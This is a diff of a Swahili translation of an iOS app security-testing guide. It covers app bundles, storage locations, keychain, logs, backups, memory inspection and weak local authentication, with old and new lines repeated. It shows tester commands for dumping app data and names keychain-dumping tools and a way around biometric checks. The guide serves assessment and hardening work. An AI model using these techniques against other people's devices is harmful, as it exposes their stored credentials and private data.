- **`PlugIns/`**: Hii inaweza kujumuisha nyongeza kwa programu, inayojulikana kama faili za `.appex`, ingawa hazipo kila wakati. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Inatumika kuhifadhi data ya kudumu ya programu yako kwa matumizi ya mtandaoni, kuhifadhi data ya muda, na kuongeza uwezo wa kufuta kwenye programu yako kwenye kifaa kimoja. Ili kusawazisha data kati ya vifaa vingi katika akaunti moja ya iCloud, Core Data inakidhi kiotomatiki muundo wako kwenye kontena la CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Faili ya `PkgInfo` ni njia mbadala ya kubainisha aina na nambari za muundaji wa programu yako au bundle.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Ni pakiti za lugha ambazo zina rasilimali za lugha hizo maalum, na rasilimali ya chaguo-msingi endapo lugha haipatikani.
|
||||
- **Usalama**: Directory ya `_CodeSignature/` ina jukumu muhimu katika usalama wa programu kwa kuthibitisha uadilifu wa faili zote zilizopakiwa kupitia saini za kidijitali.
|
||||
- **Usimamizi wa Mali**: Faili ya `Assets.car` inatumia shinikizo ili kusimamia kwa ufanisi mali za picha, muhimu kwa kuboresha utendaji wa programu na kupunguza ukubwa wake kwa ujumla.
|
||||
- **Frameworks na PlugIns**: Hizi directory zinasisitiza uundaji wa moduli wa programu za iOS, zikiwaruhusu waendelezaji kujumuisha maktaba za msimbo zinazoweza kutumika tena (`Frameworks/`) na kuongeza kazi za programu (`PlugIns/`).
|
||||
- **Frameworks na PlugIns**: Hizi directories zinaonyesha uundaji wa programu za iOS, zikiwaruhusu waendelezaji kujumuisha maktaba za msimbo zinazoweza kutumika tena (`Frameworks/`) na kupanua kazi za programu (`PlugIns/`).
|
||||
- **Utafsiri**: Muundo huu unasaidia lugha nyingi, ukirahisisha kufikia programu duniani kwa kujumuisha rasilimali za pakiti za lugha maalum.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** inatumika kama msingi wa programu za iOS, ikijumuisha data muhimu za usanidi katika mfumo wa **funguo-thamani**. Faili hii ni lazima si tu kwa programu bali pia kwa nyongeza za programu na maktaba zilizopakiwa ndani. Imeundwa kwa muundo wa XML au wa binary na ina taarifa muhimu kuanzia ruhusa za programu hadi usanidi wa usalama. Kwa uchambuzi wa kina wa funguo zinazopatikana, mtu anaweza kurejelea [**Dokumentasiyo ya Wataalamu wa Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
**Info.plist** inatumika kama msingi wa programu za iOS, ikijumuisha data muhimu za usanidi katika mfumo wa **funguo-thamani**. Faili hii ni lazima si tu kwa programu bali pia kwa nyongeza za programu na maktaba zilizopakiwa ndani. Imeundwa kwa muundo wa XML au muundo wa binary na ina taarifa muhimu kuanzia ruhusa za programu hadi usanidi wa usalama. Kwa uchambuzi wa kina wa funguo zinazopatikana, mtu anaweza kurejelea [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Kwa wale wanaotaka kufanya kazi na faili hii katika muundo rahisi zaidi, ubadilishaji wa XML unaweza kufanywa kwa urahisi kupitia matumizi ya `plutil` kwenye macOS (inapatikana kiasili kwenye toleo 10.2 na baadaye) au `plistutil` kwenye Linux. Amri za ubadilishaji ni kama ifuatavyo:
|
||||
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Kati ya maelezo mengi ambayo faili ya **Info.plist** inaweza kufichua, entries muhimu ni pamoja na nyuzi za ruhusa za programu (`UsageDescription`), mipango ya URL ya kawaida (`CFBundleURLTypes`), na mipangilio ya Usalama wa Usafiri wa Programu (`NSAppTransportSecurity`). Entries hizi, pamoja na nyingine kama aina za hati zilizotolewa/zilizopokelewa za kawaida (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), zinaweza kupatikana kwa urahisi kwa kukagua faili au kutumia amri rahisi ya `grep`:
|
||||
Miongoni mwa maelezo mengi ambayo faili ya **Info.plist** inaweza kufichua, entries muhimu ni pamoja na nyuzi za ruhusa za programu (`UsageDescription`), mipango ya URL ya kawaida (`CFBundleURLTypes`), na mipangilio ya Usalama wa Usafiri wa Programu (`NSAppTransportSecurity`). Entries hizi, pamoja na nyingine kama aina za hati zilizopitishwa/zilizopokelewa za kawaida (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), zinaweza kupatikana kwa urahisi kwa kukagua faili au kutumia amri rahisi ya `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -204,7 +204,7 @@ Katika mazingira ya iOS, directories zimewekwa maalum kwa ajili ya **system appl
|
||||
>
|
||||
> Hata hivyo, folda zote mbili (folda za data & folda za container) zina faili **`.com.apple.mobile_container_manager.metadata.plist`** inayounganisha faili hizo mbili katika ufunguo `MCMetadataIdentifier`).
|
||||
|
||||
Ili kusaidia katika kugundua directory ya usakinishaji wa app iliyowekwa na mtumiaji, zana ya **objection tool** inatoa amri muhimu, `env`. Amri hii inaonyesha taarifa za kina za directory kwa app husika. Hapa chini kuna mfano wa jinsi ya kutumia amri hii:
|
||||
Ili kusaidia katika kugundua directory ya usakinishaji ya app iliyowekwa na mtumiaji, zana ya **objection tool** inatoa amri muhimu, `env`. Amri hii inaonyesha taarifa za kina za directory kwa app husika. Hapa chini kuna mfano wa jinsi ya kutumia amri hii:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -235,12 +235,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
**Data directory:**
|
||||
|
||||
- **Documents/**
|
||||
- Inashikilia data yote iliyoundwa na mtumiaji. Mtumiaji wa mwisho wa programu anaanzisha uundaji wa data hii.
|
||||
- Inashikilia data yote inayozalishwa na mtumiaji. Mtumiaji wa mwisho wa programu anaanzisha uundaji wa data hii.
|
||||
- Inaonekana kwa watumiaji na **watumiaji wanaweza kuandika ndani yake**.
|
||||
- Maudhui katika hii directory **yanahifadhiwa**.
|
||||
- Programu inaweza kuzima njia kwa kuweka `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
- Inashikilia **faili ambazo si maalum kwa mtumiaji**, kama **caches**, **preferences**, **cookies**, na faili za usanidi wa orodha ya mali (plist).
|
||||
- Inashikilia **faili ambazo si maalum kwa mtumiaji**, kama vile **caches**, **preferences**, **cookies**, na faili za usanidi wa orodha ya mali (plist).
|
||||
- Programu za iOS kwa kawaida hutumia `Application Support` na `Caches` subdirectories, lakini programu inaweza kuunda subdirectories za kawaida.
|
||||
- **Library/Caches/**
|
||||
- Inashikilia **faili za cache zisizo na kudumu.**
|
||||
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
|
||||
```
|
||||
### Binary Reversing
|
||||
|
||||
Ndani ya folda ya `<application-name>.app` utaona faili la binary linaloitwa `<application-name>`. Hii ndiyo faili itakayokuwa **inatekelezwa**. Unaweza kufanya ukaguzi wa msingi wa binary kwa kutumia chombo **`otool`**:
|
||||
Ndani ya folda ya `<application-name>.app` utaona faili la binary linaloitwa `<application-name>`. Huu ndio faili utakaokuwa **ukitekelezwa**. Unaweza kufanya ukaguzi wa msingi wa binary kwa kutumia chombo **`otool`**:
|
||||
```bash
|
||||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
@ -329,7 +329,7 @@ data 0x1003de748
|
||||
flags 0x80
|
||||
instanceStart 8
|
||||
```
|
||||
Ili kupata msimbo wa Objective-C wenye muundo mzuri zaidi unaweza kutumia [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||||
Ili kupata msimbo wa Objective-C wenye ukubwa mdogo zaidi unaweza kutumia [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||||
```bash
|
||||
class-dump some-app
|
||||
//
|
||||
@ -375,11 +375,11 @@ Faili za **plist** ni faili za XML zilizopangwa ambazo **zinafunguo-na-thamani**
|
||||
|
||||
Njia ya kawaida ya kudumisha data katika faili za plist ni kupitia matumizi ya **NSUserDefaults**. Faili hii ya plist huhifadhiwa ndani ya sandbox ya programu katika **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Darasa la [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) linatoa kiolesura cha programu kwa ajili ya kuingiliana na mfumo wa default. Mfumo wa default unaruhusu programu kubadilisha tabia yake kulingana na **mapendeleo ya mtumiaji**. Data iliyohifadhiwa na `NSUserDefaults` inaweza kuonekana katika kifurushi cha programu. Darasa hili huhifadhi **data** katika **faili ya plist**, lakini inakusudiwa kutumika na kiasi kidogo cha data.
|
||||
Darasa la [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) linatoa kiolesura cha programu kwa ajili ya kuingiliana na mfumo wa default. Mfumo wa default unaruhusu programu kubadilisha tabia yake kulingana na **mapendeleo ya mtumiaji**. Data iliyohifadhiwa na `NSUserDefaults` inaweza kuonekana katika kifurushi cha programu. Darasa hili huhifadhi **data** katika **faili ya plist**, lakini inapaswa kutumika na kiasi kidogo cha data.
|
||||
|
||||
Data hii haiwezi kufikiwa moja kwa moja kupitia kompyuta iliyoaminika, lakini inaweza kufikiwa kwa kufanya **backup**.
|
||||
|
||||
Unaweza **dump** taarifa zilizohifadhiwa kwa kutumia **`NSUserDefaults`** kwa kutumia `objection's ios nsuserdefaults get`
|
||||
Unaweza **dump** taarifa zilizohifadhiwa kwa kutumia **`NSUserDefaults`** kwa kutumia `ios nsuserdefaults get` ya objection.
|
||||
|
||||
Ili kupata plist zote zinazotumiwa na programu, unaweza kufikia `/private/var/mobile/Containers/Data/Application/{APPID}` na kuendesha:
|
||||
```bash
|
||||
@ -387,7 +387,7 @@ find ./ -name "*.plist"
|
||||
```
|
||||
Ili kubadilisha faili kutoka **XML au binary (bplist)** format hadi XML, mbinu mbalimbali kulingana na mfumo wako wa uendeshaji zinapatikana:
|
||||
|
||||
**Kwa Watumiaji wa macOS:** Tumia amri ya `plutil`. Ni chombo kilichojengwa ndani ya macOS (10.2+), kilichoundwa kwa ajili ya kusudi hili:
|
||||
**Kwa Watumiaji wa macOS:** Tumia amri ya `plutil`. Ni chombo kilichojengwa ndani katika macOS (10.2+), kilichoundwa kwa ajili ya kusudi hili:
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
@ -396,7 +396,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Ndani ya Kikao cha Objection:** Kwa kuchambua programu za simu, amri maalum inaruhusu kubadilisha faili za plist moja kwa moja:
|
||||
**Katika Kikao cha Objection:** Kwa kuchambua programu za simu, amri maalum inaruhusu kubadilisha faili za plist moja kwa moja:
|
||||
```bash
|
||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||
```
|
||||
@ -434,7 +434,7 @@ NSLog(@"data stored in core data");
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) ni duka la funguo/thamani lililojengwa juu ya SQLite.\
|
||||
Kwa kuwa databasi za Yap ni databasi za sqlite unaweza kuziona ukitumia amri iliyopendekezwa katika sehemu iliyopita.
|
||||
Kwa kuwa databasi za Yap ni databasi za sqlite unaweza kuziona kwa kutumia amri iliyopendekezwa katika sehemu iliyopita.
|
||||
|
||||
### Other SQLite Databases
|
||||
|
||||
@ -465,7 +465,7 @@ $ find ./ -name "*.realm*"
|
||||
```
|
||||
Ili kuangalia faili hizi za database, chombo cha [**Realm Studio**](https://github.com/realm/realm-studio) kinapendekezwa.
|
||||
|
||||
Ili kutekeleza usimbaji ndani ya database ya Realm, kipande kifupi cha msimbo kinaweza kutumika:
|
||||
Ili kutekeleza usimbaji ndani ya database ya Realm, kipande kifuatacho cha msimbo kinaweza kutumika:
|
||||
```swift
|
||||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||||
let config = Realm.Configuration(encryptionKey: getKey())
|
||||
@ -481,7 +481,7 @@ fatalError("Error opening realm: \(error)")
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) inafafanuliwa kama injini ya **nyepesi** na **imejumuishwa** ya hifadhidata inayofuata mbinu ya **mwelekeo wa hati** (NoSQL). Imeundwa kuwa asili kwa **iOS** na **macOS**, inatoa uwezo wa kusawazisha data bila mshono.
|
||||
|
||||
Ili kubaini hifadhidata za Couchbase zinazoweza kuwa kwenye kifaa, directory ifuatayo inapaswa kukaguliwa:
|
||||
Ili kubaini hifadhidata za Couchbase zinazowezekana kwenye kifaa, directory ifuatayo inapaswa kukaguliwa:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
@ -528,9 +528,9 @@ Njia hii itafuta maombi na majibu yote yaliyohifadhiwa kutoka faili la Cache.db.
|
||||
|
||||
### Snapshots
|
||||
|
||||
Kila wakati unapobonyeza kitufe cha nyumbani, iOS **huchukua picha ya skrini ya sasa** ili iweze kufanya mpito kwa programu kwa njia laini zaidi. Hata hivyo, ikiwa **data nyeti** inapatikana katika skrini ya sasa, itahifadhiwa katika **picha** (ambayo **inasalia** **katika** **reboots**). Hizi ni picha ambazo unaweza pia kufikia kwa kubonyeza mara mbili skrini ya nyumbani ili kubadilisha kati ya programu.
|
||||
Kila wakati unapobonyeza kitufe cha nyumbani, iOS **huchukua picha ya skrini ya sasa** ili iweze kufanya mpito kwenda kwenye programu kwa njia laini zaidi. Hata hivyo, ikiwa **data nyeti** inapatikana kwenye skrini ya sasa, itahifadhiwa katika **picha** (ambayo **inasalia** **katika** **reboots**). Hizi ni picha ambazo unaweza pia kufikia kwa kubonyeza mara mbili skrini ya nyumbani ili kubadilisha kati ya programu.
|
||||
|
||||
Ipasavyo, ikiwa iPhone haijavunjwa, **mshambuliaji** anahitaji kuwa na **ufikiaji** wa **kifaa** **kilichofunguliwa** ili kuona picha hizi. Kwa default, picha ya mwisho inahifadhiwa katika sandbox ya programu katika folda ya `Library/Caches/Snapshots/` au `Library/SplashBoard/Snapshots` (kompyuta zinazotegemewa haziwezi kufikia mfumo wa faili kutoka iOX 7.0).
|
||||
Ipasavyo, ikiwa iPhone haijavunjwa, **mshambuliaji** anahitaji kuwa na **ufikiaji** wa **kifaa** **kilichofunguliwa** ili kuona picha hizi. Kwa default, picha ya mwisho inahifadhiwa katika sandbox ya programu katika folda `Library/Caches/Snapshots/` au `Library/SplashBoard/Snapshots` (kompyuta zinazotegemewa haziwezi kufikia mfumo wa faili kutoka iOX 7.0).
|
||||
|
||||
Njia moja ya kuzuia tabia hii mbaya ni kuweka skrini tupu au kuondoa data nyeti kabla ya kuchukua picha kwa kutumia kazi ya `ApplicationDidEnterBackground()`.
|
||||
|
||||
@ -566,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
Hii inasetisha picha ya nyuma kuwa `overlayImage.png` kila wakati programu inapokuwa katika hali ya nyuma. Inazuia uvujaji wa data nyeti kwa sababu `overlayImage.png` itakuwa daima inachukua nafasi ya mtazamo wa sasa.
|
||||
Hii inafanya picha ya nyuma kuwa `overlayImage.png` kila wakati programu inapokuwa katika hali ya nyuma. Inazuia uvujaji wa data nyeti kwa sababu `overlayImage.png` itakuwa daima inachukua nafasi ya mtazamo wa sasa.
|
||||
|
||||
### Keychain
|
||||
|
||||
@ -574,7 +574,7 @@ Kwa kupata na kusimamia iOS keychain, zana kama [**Keychain-Dumper**](https://gi
|
||||
|
||||
#### **Kuhifadhi Akikazi**
|
||||
|
||||
Darasa la **NSURLCredential** ni bora kwa kuhifadhi taarifa nyeti moja kwa moja katika keychain, ikiepuka hitaji la NSUserDefaults au vifungashio vingine. Ili kuhifadhi akikazi baada ya kuingia, msimbo ufuatao wa Swift unatumika:
|
||||
Darasa la **NSURLCredential** ni bora kwa kuhifadhi taarifa nyeti moja kwa moja katika keychain, ikiepuka hitaji la NSUserDefaults au vifungashio vingine. Ili kuhifadhi akikazi baada ya kuingia, kanuni ifuatayo ya Swift inatumika:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
@ -599,20 +599,20 @@ Protokali ya [UITextInputTraits](https://developer.apple.com/reference/uikit/uit
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
Zaidi ya hayo, wabunifu wanapaswa kuhakikisha kwamba maeneo ya maandiko, hasa yale ya kuingiza taarifa nyeti kama nywila na PIN, yanazima uhifadhi kwa kuweka `autocorrectionType` kuwa `UITextAutocorrectionTypeNo` na `secureTextEntry` kuwa `YES`.
|
||||
Zaidi ya hayo, wabunifu wanapaswa kuhakikisha kwamba maeneo ya maandiko, hasa yale ya kuingiza taarifa nyeti kama nywila na PIN, yanazima uhifadhi wa data kwa kuweka `autocorrectionType` kuwa `UITextAutocorrectionTypeNo` na `secureTextEntry` kuwa `YES`.
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Maktaba**
|
||||
|
||||
Kusafisha msimbo mara nyingi kunahusisha matumizi ya **kuandika**. Kuna hatari inayohusiana kwani **maktaba zinaweza kuwa na taarifa nyeti**. Awali, katika iOS 6 na toleo la awali, maktaba zilikuwa zinapatikana kwa programu zote, zikileta hatari ya kuvuja kwa data nyeti. **Sasa, programu zimepunguzia upatikanaji wa maktaba zao pekee**.
|
||||
Kusafisha msimbo mara nyingi kunahusisha matumizi ya **kuandika**. Kuna hatari inayohusiana kwani **maktaba zinaweza kuwa na taarifa nyeti**. Awali, katika iOS 6 na toleo la awali, maktaba zilikuwa zinapatikana kwa programu zote, zikileta hatari ya kuvuja kwa data nyeti. **Sasa, programu zimewekwa mipaka ya kufikia maktaba zao pekee**.
|
||||
|
||||
Licha ya vizuizi hivi, **mshambuliaji mwenye ufikiaji wa kimwili** kwa kifaa kisichofungwa bado anaweza kutumia hii kwa kuunganisha kifaa na kompyuta na **kusoma maktaba**. Ni muhimu kutambua kwamba maktaba zinabaki kwenye diski hata baada ya kufutwa kwa programu.
|
||||
|
||||
Ili kupunguza hatari, inashauriwa **kushirikiana kwa kina na programu**, kuchunguza kazi zake zote na ingizo ili kuhakikisha hakuna taarifa nyeti inayorekodiwa bila kukusudia.
|
||||
|
||||
Wakati wa kupitia msimbo wa chanzo wa programu kwa uvujaji wa uwezekano, angalia **kauli za kuandika** zilizowekwa na **za kawaida** kwa kutumia maneno muhimu kama `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` kwa kazi za ndani, na yoyote inayohusisha `Logging` au `Logfile` kwa utekelezaji wa kawaida.
|
||||
Wakati wa kupitia msimbo wa chanzo wa programu kwa uvujaji wa uwezekano, angalia **kauli za kuandika** zilizowekwa na **za kawaida** kwa kutumia maneno muhimu kama `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` kwa kazi za ndani, na yoyote inayohusiana na `Logging` au `Logfile` kwa utekelezaji wa kawaida.
|
||||
|
||||
### **Kufuatilia Maktaba za Mfumo**
|
||||
|
||||
@ -630,7 +630,7 @@ ni muhimu. Zaidi ya hayo, **Xcode** inatoa njia ya kukusanya kumbukumbu za conso
|
||||
5. Chochea tatizo unalochunguza.
|
||||
6. Tumia kitufe cha **Open Console** kuona kumbukumbu katika dirisha jipya.
|
||||
|
||||
Kwa ajili ya kumbukumbu za hali ya juu, kuungana na shell ya kifaa na kutumia **socat** kunaweza kutoa ufuatiliaji wa kumbukumbu kwa wakati halisi:
|
||||
Kwa ajili ya kumbukumbu za hali ya juu, kuunganisha na shell ya kifaa na kutumia **socat** kunaweza kutoa ufuatiliaji wa kumbukumbu kwa wakati halisi:
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
@ -638,7 +638,7 @@ Followed by commands to observe log activities, which can be invaluable for diag
|
||||
|
||||
## Backups
|
||||
|
||||
**Vipengele vya auto-backup** vimejumuishwa katika iOS, vinavyorahisisha uundaji wa nakala za data za kifaa kupitia iTunes (hadi macOS Catalina), Finder (kuanzia macOS Catalina kuendelea), au iCloud. Nakala hizi zinajumuisha karibu data zote za kifaa, isipokuwa vipengele vya siri sana kama maelezo ya Apple Pay na mipangilio ya Touch ID.
|
||||
**Vipengele vya auto-backup** vimejumuishwa katika iOS, vinavyorahisisha uundaji wa nakala za data za kifaa kupitia iTunes (hadi macOS Catalina), Finder (kuanzia macOS Catalina kuendelea), au iCloud. Nakala hizi zinajumuisha karibu data zote za kifaa, isipokuwa vipengele vya siri sana kama vile maelezo ya Apple Pay na mipangilio ya Touch ID.
|
||||
|
||||
### Security Risks
|
||||
|
||||
@ -650,9 +650,9 @@ Faili katika `Documents/` na `Library/Application Support/` zinahifadhiwa kwa de
|
||||
|
||||
### Testing for Vulnerabilities
|
||||
|
||||
Ili kutathmini usalama wa nakala za backup za programu, anza kwa **kuunda nakala ya backup** kwa kutumia Finder, kisha ipate kwa kufuata mwongozo kutoka [Apple's official documentation](https://support.apple.com/en-us/HT204215). Changanua nakala ya backup kwa data nyeti au mipangilio ambayo inaweza kubadilishwa ili kuathiri tabia ya programu.
|
||||
Ili kutathmini usalama wa nakala za backup za programu, anza kwa **kuunda nakala ya backup** kwa kutumia Finder, kisha ipate kwa kufuata mwongozo kutoka [nyaraka rasmi za Apple](https://support.apple.com/en-us/HT204215). Changanua nakala ya backup kwa data nyeti au mipangilio ambayo inaweza kubadilishwa ili kuathiri tabia ya programu.
|
||||
|
||||
Taarifa nyeti zinaweza kutafutwa kwa kutumia zana za command-line au programu kama [iMazing](https://imazing.com). Kwa nakala za backup zilizofichwa, uwepo wa usimbaji unaweza kuthibitishwa kwa kuangalia ufunguo wa "IsEncrypted" katika faili ya "Manifest.plist" kwenye mzizi wa nakala ya backup.
|
||||
Taarifa nyeti zinaweza kutafutwa kwa kutumia zana za amri au programu kama [iMazing](https://imazing.com). Kwa nakala za backup zilizofichwa, uwepo wa usimbaji unaweza kuthibitishwa kwa kuangalia ufunguo wa "IsEncrypted" katika faili ya "Manifest.plist" kwenye mzizi wa nakala ya backup.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
|
||||
```
|
||||
## **Uchambuzi wa Kumbukumbu ya Wakati Halisi**
|
||||
|
||||
**r2frida** inatoa mbadala wenye nguvu wa kukagua kumbukumbu ya programu kwa wakati halisi, bila kuhitaji dump ya kumbukumbu. Chombo hiki kinaruhusu utekelezaji wa amri za kutafuta moja kwa moja kwenye kumbukumbu ya programu inayotembea:
|
||||
**r2frida** inatoa mbadala mzuri wa kukagua kumbukumbu ya programu kwa wakati halisi, bila kuhitaji dump ya kumbukumbu. Chombo hiki kinaruhusu utekelezaji wa amri za utafutaji moja kwa moja kwenye kumbukumbu ya programu inayotembea:
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
@ -704,7 +704,7 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Poor Key Management Processes
|
||||
|
||||
Wakati mwingine waendelezaji huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa mkono/zinazoweza kutabiriwa katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
|
||||
Wakati mwingine waendelezaji huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa nguvu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
|
||||
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
|
||||
@ -718,13 +718,13 @@ Ni ya kuvutia kujua kwamba unaweza **monitor** baadhi ya **crypto** **libraries*
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
Kwa **maelezo zaidi** kuhusu APIs na maktaba za usimbuaji za iOS, tembelea [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
Kwa **maelezo zaidi** kuhusu iOS cryptographic APIs na maktaba, tembelea [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
|
||||
## Uthibitishaji wa Mitaa
|
||||
|
||||
**Uthibitishaji wa mitaa** una jukumu muhimu, hasa linapokuja suala la kulinda ufikiaji kwenye mwisho wa mbali kupitia mbinu za usimbuaji. Kiini hapa ni kwamba bila utekelezaji sahihi, mitambo ya uthibitishaji wa mitaa inaweza kupuuziliwa mbali.
|
||||
**Uthibitishaji wa mitaa** una jukumu muhimu, hasa linapokuja suala la kulinda ufikiaji katika mwisho wa mbali kupitia mbinu za kijasusi. Kiini hapa ni kwamba bila utekelezaji sahihi, mifumo ya uthibitishaji wa mitaa inaweza kupuuziliwa mbali.
|
||||
|
||||
[**Msingi wa Uthibitishaji wa Mitaa**](https://developer.apple.com/documentation/localauthentication) wa Apple na [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) zinatoa APIs thabiti kwa waendelezaji kuwezesha mazungumzo ya uthibitishaji wa mtumiaji na kushughulikia data za siri kwa usalama, mtawalia. Enclave Salama inalinda kitambulisho cha alama ya kidole kwa Touch ID, wakati Face ID inategemea utambuzi wa uso bila kuathiri data za kibaiolojia.
|
||||
[**Msingi wa Uthibitishaji wa Mitaa**](https://developer.apple.com/documentation/localauthentication) wa Apple na [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) zinatoa APIs thabiti kwa waendelezaji kuwezesha mazungumzo ya uthibitishaji wa mtumiaji na kushughulikia data ya siri kwa usalama, mtawalia. Secure Enclave inalinda fingerprint ID kwa Touch ID, wakati Face ID inategemea utambuzi wa uso bila kuathiri data za kibaiolojia.
|
||||
|
||||
Ili kuunganisha Touch ID/Face ID, waendelezaji wana chaguo mbili za API:
|
||||
|
||||
@ -732,24 +732,24 @@ Ili kuunganisha Touch ID/Face ID, waendelezaji wana chaguo mbili za API:
|
||||
- **`Security.framework`** kwa ufikiaji wa huduma za keychain za kiwango cha chini, ikilinda data za siri kwa uthibitishaji wa kibaiolojia. Mifumo mbalimbali ya [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) inafanya ufikiaji wa keychain kuwa rahisi.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hata hivyo, `LocalAuthentication.framework` na `Security.framework` zinaonyesha udhaifu, kwani kwa msingi hurudisha thamani za boolean bila kuhamasisha data kwa michakato ya uthibitishaji, na kuifanya kuwa rahisi kupuuziliwa mbali (tazama [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
> Hata hivyo, zote `LocalAuthentication.framework` na `Security.framework` zina udhaifu, kwani kwa msingi hurudisha thamani za boolean bila kuhamasisha data kwa michakato ya uthibitishaji, na kuifanya kuwa rahisi kupuuziliwa mbali (tazama [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
|
||||
### Kutekeleza Uthibitishaji wa Mitaa
|
||||
|
||||
Ili kuwahamasisha watumiaji kwa uthibitishaji, waendelezaji wanapaswa kutumia **`evaluatePolicy`** ndani ya darasa la **`LAContext`**, wakichagua kati ya:
|
||||
Ili kuhamasisha watumiaji kwa uthibitishaji, waendelezaji wanapaswa kutumia **`evaluatePolicy`** njia ndani ya **`LAContext`** darasa, wakichagua kati ya:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Inahamasisha kwa Touch ID au nambari ya kifaa, ikishindwa ikiwa hakuna hata moja iliyowekwa.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Inahamasisha pekee kwa Touch ID.
|
||||
|
||||
Uthibitishaji uliofanikiwa unadhihirishwa na thamani ya boolean inayorejeshwa kutoka **`evaluatePolicy`**, ikionyesha kasoro inayoweza kutokea ya usalama.
|
||||
Uthibitishaji uliofanikiwa unadhihirishwa na thamani ya boolean inayorejeshwa kutoka **`evaluatePolicy`**, ikionyesha kasoro ya usalama inayoweza kutokea.
|
||||
|
||||
### Uthibitishaji wa Mitaa kwa kutumia Keychain
|
||||
|
||||
Kutekeleza **uthibitishaji wa mitaa** katika programu za iOS kunahusisha matumizi ya **keychain APIs** kuhifadhi kwa usalama data za siri kama vile alama za uthibitishaji. Mchakato huu unahakikisha kuwa data inaweza kufikiwa tu na mtumiaji, akitumia nambari ya kifaa au uthibitishaji wa kibaiolojia kama Touch ID.
|
||||
